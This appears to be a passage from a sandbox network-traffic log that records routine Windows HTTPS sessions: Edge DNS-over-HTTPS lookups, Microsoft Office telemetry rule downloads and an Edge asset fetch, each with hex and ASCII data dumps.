2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-12 05:23:30 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49828	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14171f3fee6b5e-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fb 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49830	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e14171fd966474e-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 93 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2a85e8ce-c01e-0066-0ca2-34a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-15869dbbcc6rmhmhhC1DFWr8y0000000074000000000mpuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 86f5fa0f-101e-0017-52a7-3447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-15869dbbcc6pfq2ghC1DFWh2wg00000000zg0000000031p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-16547b76f7fx6rhxhC1DFW76kg0000000f1g00000000qhfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ac6bbd40-501e-007b-3e0c-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052329Z-16547b76f7fr4g8xhC1DFW9cqc0000000ed0000000006wcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49832	172.64.41.3	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:29 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 05:23:29 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 05:23:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 05:23:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1417206c3ae84f-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 05:23:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c4 00 04 8e fa 8a 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:30 UTC	568	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6d5c7e92-401e-0049-21b4-2e5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052330Z-16547b76f7f7scqbhC1DFW0m5w0000000f4g0000000018wq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_REVALIDATED_HIT Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	15816	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 Data Ascii: \h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 Data Ascii: T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$Qif
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 Data Ascii: 9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"
2024-11-12 05:23:30 UTC	16384	IN	Data Raw: 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed Data Ascii: @?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tn
